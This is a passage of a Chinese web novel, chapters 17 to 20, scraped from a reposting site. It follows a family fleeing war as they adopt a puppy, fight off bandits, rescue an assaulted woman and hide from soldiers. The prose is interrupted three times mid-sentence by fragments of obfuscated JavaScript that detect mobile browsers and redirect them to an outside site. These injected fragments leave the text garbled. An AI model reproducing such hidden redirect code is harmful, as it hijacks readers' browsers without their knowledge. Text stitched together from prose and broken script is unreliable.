又怕董伯年还要再说,她为了让董伯年心安,又道:“明日我若困了,直接就在牛车上睡了。” 董伯年思考了妻子的话,觉得确实是这个道理。他也确实觉得这段时日白日赶路,晚上休息,身子确实很疲累。 看着蜷缩在火堆旁边的妻子,他心中升腾起一股暖流,还是娘子关心他,有娘子心疼的人就是不一样。当初他读书时,读到‘书中自有黄金屋,书中自有颜如玉’,那时候的他还不明白,如今他瞬间就懂了,有这样爱护关心自己的妻子,可不就是书中所说的颜如玉吗? 只是这颜如玉不是在书中,却是真真实实存在的。 “哎,那我睡上半夜,下半夜你叫我。” “嗯。”岑嫣表面上应下,心里却想:呆瓜,我要是下半夜不叫你,你也不知道不是? 董伯年见状,打了个哈欠,往铺好的床走去,他确实觉得有些困。 岑嫣刚才满口说要守夜,其实心里也还是有些害怕的,她盯着那四名男人的方向,发现四名男人呼呼大睡,也就放下了心。 随后,她又用眼巡视了周围的漆黑,没看出什么动静。 这野外的夜晚,表面总是那么风平浪静,暗地里却容易暗藏危机,她只能警惕些。 时间一分一秒的过去,夜变得更安静了,就连细碎的虫鸣蛙叫声,她都能听得十分清楚。 忽的,草丛里似乎有什么动静,岑嫣原本睡眼惺忪地眯着眼,被这动静惊的瞪大了双眼,她警惕起来,思索着要不要叫醒睡着的几人。 忽的她就看到一只瘦骨嶙峋的大黄狗从草丛里钻出来,嘴里还吊着一只幼犬。岑嫣盯着看了一会儿,觉得自己约莫是看错了,那样子似乎不是叼着,是拖着。那幼犬似乎已经很大了,看着圆滚滚的。 岑嫣看着那大黄狗松开了口,随后用嘴催促着那只幼犬往她的方向走,可那幼犬似乎有些不情愿,三步一回头地看向那只大黄狗。 她约莫能猜到,这大黄狗想干嘛了。 “你是想把你的孩子给我养?” 岑嫣的声音虽然不大,但在这格外安静的夜色里,却让人听的十分清晰。 大黄狗能做出将孩子送到岑嫣这里,很显然是很有灵性的动物,她只略微偏过头,作沉思状,就点了点头。 “你不怕我吃了他?万一我是坏人,会吃了你孩子的。你还要把孩子交给我吗?” 这次,大黄狗却不作任何反应,只盯着她的孩子。 此时,小黄狗已经走到岑嫣面前,嘤嘤地摇着尾巴。 岑嫣无奈,抚摸着小黄狗柔软的身子,又扭头想对大黄狗说话,哪知,大黄狗已经离开。 其实,她是想问问大黄愿不愿意留下,刚才她从看到大黄狗开始,就想着要是能有个狗子陪着守夜也不错,没想到大黄跑的那么快,生怕岑嫣追上似的。 看着大黄狗来的方向,岑嫣叹了口气,这世道,人和狗都难活。人还好些,狗若是遇上某些人,许是会成为别人的盘中餐。 剩下的夜,小黄狗陪着岑嫣,倒是能聊慰岑嫣的孤独和恐惧。小黄狗依偎在岑嫣的身旁,缓缓睡去。 岑嫣觉得越来越困,越来越困,忽的,她隐约听到四名男人的那个方向传来响动。 她微微看了一眼,提着木棍就往四名男子所在的地方去,她也没敢走太近,随时准备着叫喊。她只用火把凑近几人,就发现发现几人似乎在用石头互相磨绳子。 这还得了? 她立马就抡了几棍下去,四人的手都被打肿了,痛的吱哇乱叫,虽然被布团堵住了嘴,但却不能彻底堵住声音。 这叫声立马就惊醒了原本就浅睡的董伯年,他看了一眼火堆旁边,发现妻子不在,以为岑嫣遇到了什么不测,提起他平时进山用的猎刀,几乎是条件反射地就朝声源的方向冲去。 等见到妻子站在四名男子身边,而四名男子还被绑的严严实实的,他悬着的心才放下去。 妻子没事就好。 岑嫣原本不想惊动人的,没想到这几人哪怕堵住嘴也不老实,还能发出声音,还惊动了夫君,一想到这里,她就恨不得再抽这四名男子几棍。 “他们想逃跑,刚才用石头磨绳子呢。” 岑嫣解释完,就心虚地低下头,也不敢再看董伯年。 董伯年看了一眼妻子,也不忍苛责,知道对方是在关心自己:“你刚才为何不叫我,现在都快天亮了。” 说着,董伯年就往天边指了指,不远处的天已经开始露出了淡蓝色的光,再过不久,就真的天亮了。 “我,我没注意,才想叫你呢......” 岑嫣正想着再说什么的时候,小黄狗就往两人这里跑来,站在岑嫣的脚边对着董伯年叫,他身板虽小,气势却很足,若董伯年是个四五岁的孩童,许是就会被吓跑了。 “这是?”董伯年的眼神从岑嫣脸上游移到地上的小黄狗身上。 “这是我刚才捡的狗。”说着,岑嫣就将夜里遇上大黄狗和小黄狗的事情一一说明。 末了还怕董伯年不同意留下这条小狗,又道:“咱们夜里要是有一条小狗帮忙警醒着也不错。” 董伯年一愣,若是他刚才没记错的话,这狗可是比他来的还晚,睡的比他还死,这能行吗? 不过,媳妇喜欢的话,那就留着。 “既然想留就留下,到时候咱们路上藏着点就行,毕竟这么小的狗,可是不太好赶路的。” 说完,董伯年又催促妻子去休息。岑嫣这才心满意足地带着小狗回到铺好的草床上睡觉。小狗也十分乖巧,定定地跟着岑嫣不离半步。 站在原地的董伯年倏地眼神一寒,盯着四名男子看了一会儿,拖着几人往旁边的林子里去。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14555205|155419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >...... 天光大亮,休整了一夜的董家人又恢复了一天的活力,就连旁边的两头牛也变得炯炯有神。只有岑嫣顶着个大黑眼圈,跟着众人收拾准备赶路。 昨夜岑嫣帮着守夜的事情,众人也都知道,许慧担心媳妇的身体,强烈要求媳妇到牛车上躺着休息,原本岑嫣还想推脱,发现婆母态度坚决,自己很困,这才躺在车上休息起来。 与昨夜不同,那四名男子也不见了踪影,董伯年对众人的解释也只是:我已经为那几人找了个好去处,你们不用担心。 对于想要害他们的贼人,众人自然也不是太关心,也就不再多问。 此时,那四名男子正在林子里吱哇乱叫,他们被董伯年打了一顿,直接绑在树上。他们身心俱疲,早知道就不该这煞星,不仅没捞钱,还赔钱,再加上今日这一身的伤,那可是亏大发了。 到了中午,众人找了地方休息,岑嫣才总算恢复了一些精神。 五月底的太阳很烈,不适合行走,若是贸然赶路,很容易就会中暑。 岑嫣拿着锅就去旁边的河里打水,准备带回去煮饭做菜吃,忽的,她看到水里似乎有什么东西在游动。 “鱼!” 岑嫣惊喜地大喊,不远处的董伯年正拉着牛在河边喝水,就听到妻子的喊叫声,不由地笑了。 自家小妻子还是一团孩子气呢,不过这河里的鱼,倒是可以试试捞几条上来解解馋,吃点新鲜肉。 岑嫣这里却没有注意到丈夫的表情,只一个劲地盯着水里的鱼,盯了许久,她也不知道如何捕捞上来,她们现在可没有渔网,哪怕能自制渔网,那也需要许多时间,她们才在这里休息一个午饭的时间,根本不够。 忽的,她眼角余光一扫,突然河边的浅水处附着几个宝塔似的壳。 “田螺吗?”岑嫣喃喃道。 “是呀,这是田螺呢,以前我时常去田里捡,田里可多了,没想到这里也能遇上这许多。”吴文兰递给岑嫣一个山杏,自己又咔吧一口,就咬掉刚在水里洗的山杏。 岑嫣接过山杏,仔细打量了一会儿,这个季节的山杏已经开始成熟,这山杏的颜色红中带着几分绿,跟美人用的胭脂似的,吃起来虽然没那么甜,却是难得的水果了。 将山杏放入水中清洗,山杏在流动的水中晃动,水底映射出各色的鹅卵石,两者搭配着,看起来美极了。 吴文兰继续道:“在我们那,这田螺拿来配着辣椒、山花椒、沙姜叶、生姜和蒜一起炒,那才是人间美味呢,可惜这里没有山花椒。” 她语气中带着淡淡的遗憾。 岑嫣站起身,往回走,好奇道:“山花椒是什么?” 看着对方一脸求知的样子,吴文兰也跟上对方的脚步,侧着头解释:“山花椒是我们山上长的野生花椒,格外香。成熟的时候就是青色的,成熟之后,可以在树上保存好几个月。花椒寓意多子,我们都喜欢在房前屋后种上一棵花椒树,吉利还方便做菜。” 想着家门口的那棵花椒树,此刻应该已经开始结果了吧? 岑嫣听了这解释,心下了然,她只知道红色的花椒,还从未见过绿色的花椒呢,不禁向往起来,若是拿来做菜,两者对比,会有什么不一样? 她眉头紧皱,继续道:“那沙姜叶呢,从前竟也没听说过这个名字?” “是一种香料叶子,绿色的叶子,点像八角桂皮之类的香料,味道浓郁极了,要是用来做辣汤,加上一起做菜,就正好。等你跟着我回了家,我到时候带你采来做菜。” 岑嫣点点头,心中有些期待。 回去时,火堆已经升起来了,岑嫣把水分开倒进米里,就听到附近有一声惊叫。 18. 第 18 章 晋江文学城首发,请支持正版! 她放下手中的饭锅,提着一根木棍和吴文兰朝声源方向走去,小黄狗也亦步亦趋地跟在两人屁股后面。 许慧见状,也有些好奇,但她正忙着收拾海带,只对着两人道:“小心些,别走太远了!” 随后,她又叫董承志也过去看看,哪知,董承志却直接推拒了。 “咱们东西可都在这,我得看着。” 她只好扭头看向正在烧火的董仲清,这次不用她说什么,董仲清立马就跟了上去。 董繁枝一个八岁的小女童,双眸中也闪过一抹亮色:“娘,我也想去瞧瞧。” 知道这个年纪的小女孩都爱热闹,便也没有管。 “行,都去都去。” 走在最前面的岑嫣看到不远处的草丛不断地晃动,还时不时地发出女子呜呜咽咽的声响,岑嫣年纪虽不大,约莫能猜到是什么事情。 恐怕是有女子被人给欺负了,两人轻手轻脚地往前走,就看到两名汉子在欺负一个女子。 他们两人亦是女子,若是遇上什么男子,恐怕也落不着什么好。两人眼神对视,随后默契地往后退,想着去找救兵过来才好。 刚扭头,就看到董仲清也带着董繁枝过来。 岑嫣立马作了一个嘘声的手势,董仲清见状,立马就停住了脚步,也发现草丛里传来的声音有些奇怪。 几人小声合计之后,才作出安排,三人尝试去营救那名女子,董繁枝则负责回去通风报信。 两名大汉正不知天地为何物,正忙碌地手脚并用,衣物也散落一地,压根不知道周围的动静。 忽的,岑嫣和董仲清分别给了两个男子一棍,两名汉子应声倒地,地上的女子慌忙穿上衣衫,对着几人道了谢。 逃难路上,一个女子逃难格外不容易,转眼间就被路上的野汉子盯上。 岑嫣盯着凌乱的女子看了许久,觉得这人的面孔着实眼熟。而旁边的董仲清已经认出了对方的模样。 “罗大婶?” “我不是!”那女人的头垂的更低了,目光闪躲,紧紧地箍住身上残破的衣衫就跑开了。 岑嫣此时也想起来,当初那个因为闺女被发卖,所以带着闺女离家出走的大嫂子不就是罗家的?她眯了眯眼,发现这人还真就是,越看就越觉得熟悉。 “行吧,既然罗家婶子不愿意认,咱们也就当做不知道。”董仲清眨了眨眼。 岑嫣看着对方远去的背影,若有所思,若是她遇到这样的事情,许是也会害怕被熟人知道。 约莫就是熟人更了解你的性格以及软肋,知道了这种秘密,就等于抓住了一个把柄,如同头颅上高挂的铡刀,随时都可能落下,扎到你最柔软的地方。扎的又准又狠,让你防不胜防。 三人在那几名贼人身上搜刮了一遍,只搜到一些铜板,这让董仲清直呼晦气,从两人身上抽出腰带绑住手脚格外紧些,手上都因勒得太紧而失去了血色。 见事情都处理的差不多了,岑嫣才提醒:“回去吧,再等一会咱们就该吃午食了。” 路上,吴文彩有些好奇,昨日董仲清是如何摘到那么多胭脂杏,询问找果子的秘诀。 董仲清闻言,则是一脸神秘地道:“这个啊,要去山上摘果子才知道,我也不知道怎么同你说。” 吴文兰有些不满意,怒瞪了对方一眼:“你还故弄玄虚上了?哼,我们那边的大山里到处都是野果,采都采不完,不必你同我说了。” 说完,她就气哼哼地离开。只留下岑嫣和董仲清在身后慢慢地走。 倏地,岑嫣就看到从不远处跑过来的董伯年,他刚才听小妹跑过来报信,立马就冲了出去,生怕弟弟和妻子遇到危险。 如今见到几人安然的模样,这才放心地停下脚步,气喘吁吁地撑着双腿。 “你们三个也太大胆了些,就敢自己亲自动手!” 岑嫣几人都十分心虚,也不敢抬头,生怕再说错什么。 现在回想起来,自己也确实胆大,当时压根就没想那么多,直接就和吴文彩冲出去了。若是后面的董仲清和董繁枝没有跟来,抑或是遇到的不止两名大汉,是一大群汉子,她真的无法想象会遇到什么事情。 “这次行事确实没有考虑,今后再不会让夫君如此担心了。”岑嫣态度十分诚恳,有错就改。 董仲清见嫂子也讨不着好,也拉着吴文兰一起认错。 此时的吴文兰也跟着有些后怕,再不敢过多言语。 董伯年见几人认错态度良好,也就不再多说,只道:“以后可得注意,尤其是你,二郎,昨日的事情我可还没找你算账呢。” 这可真是天大的冤屈,董仲清是被母亲派过来跟着的,他也没想着过来啊。只是,这时的他也知道识时务者为俊杰,不再解释,再解释也是他的错,还不如好好闭嘴呢。 回到休息的那片草地时,许慧已经把饭菜做好了,这片区域中飘荡着食物的香气。 见几人安然回来,董承志和许慧也就放下了心,忙招呼几人吃饭,问起刚才发生的事情。 董仲清如实答了,许慧一脸唏嘘,叹道:“原本世道没乱的时候,女子就过的不易。如今世道乱了,女子改如何活啊。” 岑嫣和吴文兰深以为然,她们逃难路上什么事情都遇到过。当然,她们能平安,这也多亏了她们运道好,可像她们这般的,百之有一就已经很不错了。 所以,岑嫣哪怕是被卖来冲喜,也没有哭闹,只是坦然地接受,并且好好活着。毕竟,她哪怕哭闹,也换不了什么。 活在乱世,就要学习乱世的活法,乱世的人,无论男女都活的艰难,感恩每一日能吃饱穿暖的日子。 忽的,不远处出现几名路过的难民,那几名难民在不远处驻足凝视了一会儿,往河边的方向去了,看样子应该是去河里捞东西。 董伯年立马就想到,自己刚才就想抓鱼来着,哪知却听说妻子和弟弟几人遇到危险的事情,哪里还顾得上抓鱼。只是现在吃完饭,他们就又要赶路了,也没什么功夫抓鱼,只能遗憾地叹气。 休整了一个中午,董家人又踏上了征程。路边的难民越来越多,也越来越密集,比前几日的难民多得多。 岑嫣见这情状有些忧心,如今是战乱时分,上位者打仗最缺的就是银钱和兵力。 若是到时候人手不够,去哪里招兵最好,自然是流离失所的难民那里,难民的人数庞大,哪怕让没有训练过的难民上场当先锋挡箭,都不失为一个不错的选择。 而且,难民背井离乡,又聚集在一处,身上带的肯定是所有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14555206|155419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的身家细软,还极好抓。若是能从难民这处下手,倒是不失为一个为战争做准备的好法子。 想到这里,岑嫣就上前找董伯年悄声说这事。 少男少女凑在一起,轻柔的嗓音拂过耳朵,软软糯糯的,再加上少女身上特有的香气,这不禁让董伯年的耳朵染上了霞色。这时候的他觉得脑袋晕乎乎地,就连脚上的步履也变得轻飘飘地,仿佛随时就能倒地似的。 “行,我想想该怎么办。” “嗯。”岑嫣微微点头,又继续道:“夫君,我觉得咱们应该换一条道,虽然路不好走,但若是遇上危险,咱们也好躲藏起来。” 其实在来之前,夫妻两人就研究过地图,除了这条主官道,旁边还有一条小道,但那条道不好走,还会绕一些路。 追求速度的董伯年不再言语,作沉思状。 就在他想明白准备改道的时候,就看到路旁有一个小娃娃在跟路人乞食,车上的董繁枝探过头,对着他道:“大哥,那人好可怜啊,我们给她一点吃的吧。” 说着,董繁枝就掏出自己怀中的一个干饼子,这是许慧怕大家路上饿着,特地给准备的。 许是觉着那人跟自己年岁差不多,董繁枝不禁心生同情。 董伯年见状立马就把小妹递过来的手推回去,随后就掏出怀中的干饼子,正准备拿过去给那个小女娃,就被岑嫣拦下。 “不能给!” “为何?”董伯年是知道自家妻子不是那等小气的人,这其中必定有什么缘故。 岑嫣小声附耳道:“这里面逃难的,有许多人是从北方来的,来到这里,已经是强弩之末。之前咱们路过的那些庄稼不就被洗劫一空?若是他们知道你心善,且有粮食,必定冲上来讨要,你能不给?” 董伯年也不是那等蠢笨之人,立马就明白妻子话里的意思,若是他们被眼红的难民堵住,有第一个就有第二个。这路上的难民可不少,到时候可不就得把他们生吞活剥了? 他到底只是重生,而不曾真正精力过战乱逃难,的确疏忽了许多。 这路上的难民,有贫困就有富裕的,一名女子到底心善,把自己的干粮递了一块给那个小女娃,立马就有人冲上去哄抢。有些不怀好意的男子,还把她的衣衫给撕烂了一大块。 她被吓的缩在角落哭,等到她丈夫去附近打水回来,就看到两人所有的干粮没了,忍不住破口大骂,那可是两人救命的粮食,全没了。 董繁枝时刻观察着那边的情况,那名小女娃自然也没能吃上一口粮食,那对夫妻也很倒霉。 想到刚才自己的举动,她忍不住瑟缩了一下,将怀中的干粮藏的更严实了,幸好刚才嫂嫂拦下了兄长,要不然遭殃的可就是她们了。 牛车缓缓走着,在董伯年的指挥下,一行人绕道走到另一条小道小道上只有稀稀疏疏的人,比官道上的人少了太多。 岑嫣看到这景象,也就放下心来,她望着不远处的小山丘,猜测今日几人应当会在那个地方落脚。 忽的,她就听到哒哒的马蹄声,心中立马警铃大作,莫不是之前的猜测成了真? 要知道,寻常人家可买不起马,也不太会去买马。马只是速度快,而贫户人家只想要有耐力的牛和驴,并不追求速度,这么密集的马蹄声,恐怕来者不善。 19. 第 19 章 晋江文学城首发,请支持正版。 听到这声音,董家人俱是被惊住了,还好岑嫣反应迅速,立马让几人驱车隐入旁边的草丛。 众人虽然不解,但还是迅速赶着牛转道,往旁边幽深而茂密的的草丛走。 因着匆忙,董繁枝不小心摔了一跤,磕到了膝盖都没敢出声。她知道此刻不能随意出声,双手捂住嘴,眼泪却在眼眶里打转。 只是那马蹄声由远及近,再由近及远,并没有经过这条道。 “这声音也太吓人了......” 岑嫣从前听过这声音,那是骑着马的士兵,而士兵所过之处,就没个好的。若是他们路途上见到某个富裕人家的美貌女子,抑或是路旁稍微丰润些的妇人,他们起了兴致,那些女子便避免不了被糟蹋的命运,最后钱财还会被抢。 当然,男子也不一定能幸免于难,逃难路上,女子生存下来的数量少之又少。若是没能遇上女子,长相稍微俊秀些的,也不免会面临女子所遭遇的这一切。有些男子,竟肚烂而死。 “咱们快些赶路吧!”董承志显然也被刚才的声响吓到,急忙把牛车赶到路上。 众人达成了一个共识,不管是什么,总归不是什么好事就对了,他们小老百姓还是得远着些。 加快行进的速度,朝着不远处的山丘快步行进,路旁三三两两点缀着绿色,道路有些坑洼,越往前走,坡度也逐渐陡了起来。 为了让牛走的更省力些,坐在车上的董繁枝跳下车来,众人也多多少少将牛车上的用具卸了下来。一时间,牛车轻便许多,牛上坡的速度也快了许多。 爬到小山丘上,入目就是一大片宽阔的平地,只是这山丘上没有河流,若是像白日遇到的河流,兴许能进去抓鱼捡螺蛳。 董伯年去附近找水源,岑嫣则带着吴文兰在附近采野菜,剩下的人则负责搭建今夜休息的草棚。 小黄哼唧哼唧地往旁边的草里跑去,岑嫣见状,警告小黄:“别跑远了,仔细被人抓了做狗肉汤。” 今日小黄被放在车上睡觉,倒是十分老实,也不吵闹。只是狗有三急,小黄想必憋了一下午,如今才这么迫不及待去旁边解决。 岑嫣望了不远处也在准备地方休息的几处难民,今夜恐怕要多几分警惕,毕竟今日可不像昨日,人离得这么近。 大约是这山丘地势平坦些,所以别人也选择这里罢? 忽的她就看到不远处的树有些熟悉,有红色覆在上面,她以为是树上的野花。她好奇地走近,却发现这树竟是桑树,上面结了红的黑的桑果,她摘了一个,鲜甜极了。 只是,桑果汁容易染色,岑嫣的手指和指甲盖上沾上了一些暗红的颜色。 看着菜篮里采摘的芣苢和藜菜,菜篮底部还沾了一些泥巴,心道这菜篮可不能直接装野果。扫了一眼附近的植物,立马就发现附近有宽阔的绿叶子,这叶子上有许多小绒毛,但看起来倒是干净,用来包桑葚倒是正好。 她小心地从果茎根部摘桑葚,再小心翼翼地放到篮子里的叶片上,生怕不小心捏破桑葚迸射出鲜红的果汁。 正采摘果子呢,就看到小黄从旁边的草丛里窜出来,吓了她一跳,她被吓的魂飞魄散,许久才安下心神来。 “小黄?你干嘛呢,怪吓人的。”她这时候才有功夫看小黄。 小黄直接把一个蛋放在地上,随后趴着摇尾巴,看着很兴奋的模样。 “鸡蛋?”岑嫣俯下身捡起地上珍珠色的鸡蛋,这鸡蛋看着比家里下的鸡蛋小了些,上面还沾了一些小黄的口水,光亮光亮的。 忽地,小黄爬起身,又往草丛里钻,她目不转睛地盯着对方进了草丛,她也跟着往草丛里探去,果然看到不远处的茅草下面有一窝野鸡蛋。 小黄看到岑嫣跟上,兴奋地哼哼,那样子仿佛在说,对,就是这,这里有鸡蛋! 野鸡这时候估计去找食物去了,所以才未能见到踪影,不过有野鸡蛋也不错。 岑嫣小心地把野鸡窝里的鸡蛋都捡了,只留下一个野鸡蛋作为引窝蛋,也算是给野鸡留一个念想。 一人一狗钻出了草丛,岑嫣身上沾了许多茅草,就连头上的发髻都被那些野草树枝给弄乱了。她拍了拍身上的草,把篮子放下,整理了一下发髻,才安然地往营地赶。 这篮子有些沉了,再也装不下太多东西,她准备把这些野鸡蛋放回去再过来采摘桑葚。 刚走到营地附近呢,就看到吴文兰迎了过来。 “嫣姐姐,你刚才去哪了,我在附近找了你一遍,以为你回来了,哪知回来也没看着你。” 她一眨眼就看到岑嫣手上提着的篮子里有鸡蛋和桑葚:“呀,你运气真好,这么老些好东西呢。” 不远处的婆母许慧正在做菜,就听到这边说话,也跟着笑道:“今儿又有什么好东西,快拿过来瞧瞧。” “哎。” 岑嫣把鸡蛋拿到许慧那,让她把鸡蛋做了,当做今夜的菜。 边放下鸡蛋还边道:“这可是小黄今日找到的,待会儿可得给小黄留一些。” 看着地上的十多枚鸡蛋,许慧欣喜道:“呀,小黄这么能干呢,待会得给他留一些肉才好。” 小黄似乎是知道有人在夸他,得意地仰着头,疯狂地摇尾巴。 “娘,您看,我还摘了桑葚呢。刚才在那边,我发现了一棵桑葚树,上面结了许多果子,要不是这篮子装不下,我摘回来的还要多呢。” “呀!还真是。” 刚才许慧正炒着菜,或是跟岑嫣说话,还真没注意到这篮子里竟然有桑葚。 岑嫣把几颗桑葚喂到许慧嘴里,酸酸甜甜的,美味极了。 许慧立马就冲着不远处的董仲清道:“二郎,去跟你嫂嫂采果子去!” “果子,哪里有果子?” 一听到果子,董仲清惊喜极了,血脉瞬间觉醒。 岑嫣此刻也将篮子腾挪出来,回道:“在那边。” 说着她就冲自己刚才走的方向指了指,直接在前面带路。 采摘果子是最令人欣喜的事,董繁枝也想跟着去,跟许慧说了,许慧看了一眼,随即点头。 吴文兰自然也不愿错过这激动人心的乐事,把洗好的菜放到许慧旁边,就提着篮子跟上。 此刻,董伯年正提着一桶山泉水回来,看到四人往一个方向跑,有两个还蹦蹦跳跳的,不禁有些好奇。 问了旁边正给牛喂水的董承志:“爹,他们这是去哪?” 董承志望向不远处四人走的方向:“摘果子,听说那边有桑葚。” “桑葚?” 想到酸甜的紫红色果实,再想想妻子摘果子的模样,董伯年暗笑。 来到那棵桑葚树下,几人就开始采摘,两个小篮子装满了,桑葚也采摘的差不多了,枝条上并没有多少桑葚的痕迹。 天色渐晚,此刻也渐渐变得暗沉沉的,天空变成了暗灰色,云也变得厚重起来。 岑嫣心想,这怕不是要下雨吧? 连着好些日子的大晴天,若是真的下雨了,他们这路可不好走。 正这般想着,一直在身后观望的董繁枝望着不远处的火光道:“怎么有人天黑了还赶路?” 岑嫣几人闻言, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14555207|155419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也跟着往不远处望去,果然看到山下的道上似长龙闪烁的火光,而那火光正在缓慢地移动。 “这火光好像有点不正常。” 董仲清虽然没见过什么大场面,但今日这么规律的火光,还真是头一次见。 这火光蔓延的道路很长,似乎有一支很长的队伍,这支队伍的人数绝对不少。难民哪怕夜里赶路,也只是点着零星的几根火把,不会有这么多。 “应该是军队!”岑嫣声音有些颤抖。 “咱们快些回去通知爹娘,快躲起来!” 岑嫣大叫起来,随后就提着篮子往回冲,吴文兰紧随其后,其他两人虽然不知道岑嫣为何敢如此笃定,但也没功夫管那么多,急急地往回跑。 四人跑出了生平少见的速度,快步疾驰着,等到休息的营地时,已经是气喘吁吁得难以言语。 喘息了一会儿,董仲清道:“有军队往咱们这来了,快,快跑!” “军队?”董伯年有些诧异。 又继续问道:“你怎么知道是军队?” 董承志和许慧脸上也满是担忧,急急道:“你快说啊,急死了!” 董仲清不知道怎么解释,只看向因快跑而面红耳赤,撑着腿咳嗽的岑嫣。 “嫂子说的,是军队!那队伍很长!很亮的火光,从山下上来了。” 董伯年见妻子的模样,立马去拿了碗水递给岑嫣,温柔地安抚道:“没事,你喝口水缓一下,我们去收拾东西。” 岑嫣艰难地点了点头,把碗里的水缓缓喝下肚,温润的水浸润了喉咙,岑嫣这时候也觉得嗓子没有刚才那般干辣,也缓过来了。 “从前我见过这阵仗,只有军队在夜里赶路才是这般,再加上白日里听到的马蹄声,就是军队。我虽不知道那群人想干嘛,但一定来着不善,咱们得跑!” 岑嫣的眼底满是恐惧。 “跑?” “往哪里跑?” 许慧声音微颤,他们用的是牛车压根就跑不快。 对呀,根本跑不过那群人。岑嫣刚才只想到那群人不是好相与的,要跑的远远地,可她们该往哪里跑呢? 忽的她望向不远处的山。 “往山上!”几乎是异口同声,董伯年、吴文兰和她俱是一个想法。 “行!”董承志和许慧既然有了方向,知道要做什么,自然也就不再想别的,急忙处理起地上的东西来。 趁着山下那群人还没上山来,他们在这里布置过的痕迹要毁掉。 几人迅速行动,将东西胡乱丢进草丛。东西没了不要紧,人没了可就完了。 “也不知那群人会不会在这里停下?唉。” 董承志叹了口气,把牛往山上赶。 “停下?”是了,若是那群人不打算在这山丘上过夜,他们或许能安全些,若是因着什么事情停下脚步,那她们可就危险了。 她望向附近几处难民待的地方都生着火堆,她想,自己还是得过去提醒,若是那些士兵没发现这山丘上有人,起了心思寻找,倒是会安全许多。 想到这里,她简要对着众人说了此事。 董承志和许慧点头:“救人一命胜造七级浮屠。”想着董仲清脚程快些,他们扭头对着董仲清道,“二郎,你去说吧。” “嗯!”董仲清点头应下。 董仲清正准备跑过去说,岑嫣拉住他道:“小叔,你记住,别和他们说咱们去哪了,让他们最好把火堆处理了。” 他虽不解嫂嫂为何会对他说这些,但嫂嫂懂得多,说什么他都得听,将此事牢记于心,想着等会一定不能出错。 20. 第 20 章 董伯年将刚烧的火堆分散开,用水彻底扑灭,之后又用土堆覆在其上,再之后又铺上一层青色的茅草,这才放心。 他又用火把检查了刚才丢用品的草丛,快速处理了一番,这才安心追上岑嫣等人的脚步。 山路有些陡峭,林下十分湿润,再加上入了夜,刚走进林子,就有一股子湿寒的凉气扑面而来。 岑嫣抱着小黄走在路上。 她想,幸好自己不是一个人上这山,要不然一个人真的容易被吓住。 就在这时,树林中有几只鸟似被惊到,嚎叫着飞远了。 她也因着这声音被吓到了,一时不察,竟被一根树枝绊倒,眼见着就要摔个狗啃泥。电光石火间,她直接落入一个温暖的环抱。 闻着熟悉的味道,岑嫣立马就猜到那人是谁。 “夫君。” 两人的鼻息相碰,岑嫣感受到对方的呼吸打在她脸上,身子有些发热。 就在这时,小黄也哼哼唧唧,似乎是在谴责岑嫣把他摔下了。 岑嫣急忙推开董伯年,后退了一步站稳,随后抱起小黄快步往山上爬。 身后仿佛有一匹狼在撵着她似的,一点都不带回头的。 董伯年嘴角绽放出一抹笑,妻子害羞的模样真好看。可惜现在天色昏暗,他根本看不清,不过他能感受到,妻子脸色一定很好看。 就在这时,董仲清气喘吁吁地爬到他身后,听到兄长在傻笑,他不禁有些疑惑。 “大哥?你干嘛呢,快跑啊!” 董仲清刚才通知了那些难民,有些人听说了这事之后直接灭了火堆,躲到附近的草丛里。有些人却觉得他是危言耸听,根本不带跑的。更有人旁敲侧击地打听他要往哪里跑,他牢记嫂嫂的话,根本没说,还绕路躲进草丛,就怕对方猜到他要往哪里藏。 他刚才逃跑的过程中,隐约听到有马蹄声和吆喝声,他没命地往刚才家里人约定的方向跑。他在路上没见到一个人,心里还有些慌,如今遇到兄长,却发现对方在傻笑,他真的匪夷所思。 这都什么时候了?还笑呢? 董伯年这时候也回过神,正色道:“要不是为了等你,我早就上去了。” 说完,他头也不回地走了。 “是,是吗?”董仲清有些自责,自己刚才不该那样跟兄长说话,以后得改。 岑嫣头也不回地往山上爬,终于赶上了董承志几人,他们老的老小的小,爬山速度确实有点慢。 此时,山下的火光也蔓延到刚才他们所在山丘的平地上,她远远的就看到几个穿着铠甲的士兵似乎停在下面,不知道在寻找着什么。 甚至还有火光往山上来了,莫不是冲他们来的? 也是,刚才在那片山丘平地上有多少人,山丘平地上待过的人都知道,亦或是查找平地上的痕迹,自然能猜到有多少人。 而他们发现有人逃跑必定会在附近搜索,而哪里最好藏人?自然是山上,只要不是傻子都能猜到这个事。 可,她们今日真的要命丧于此吗? 岑嫣有些不甘心,她前两年逃难,躲过了死亡的命运。后来被舅父家嫁来冲喜,她原本以为自己会因为守寡被磋磨,亦或是其他因由而英年早逝。可她最后都熬过来了,还活到了现在。丈夫体贴,婆母爱护她,如今要再次被毁了? 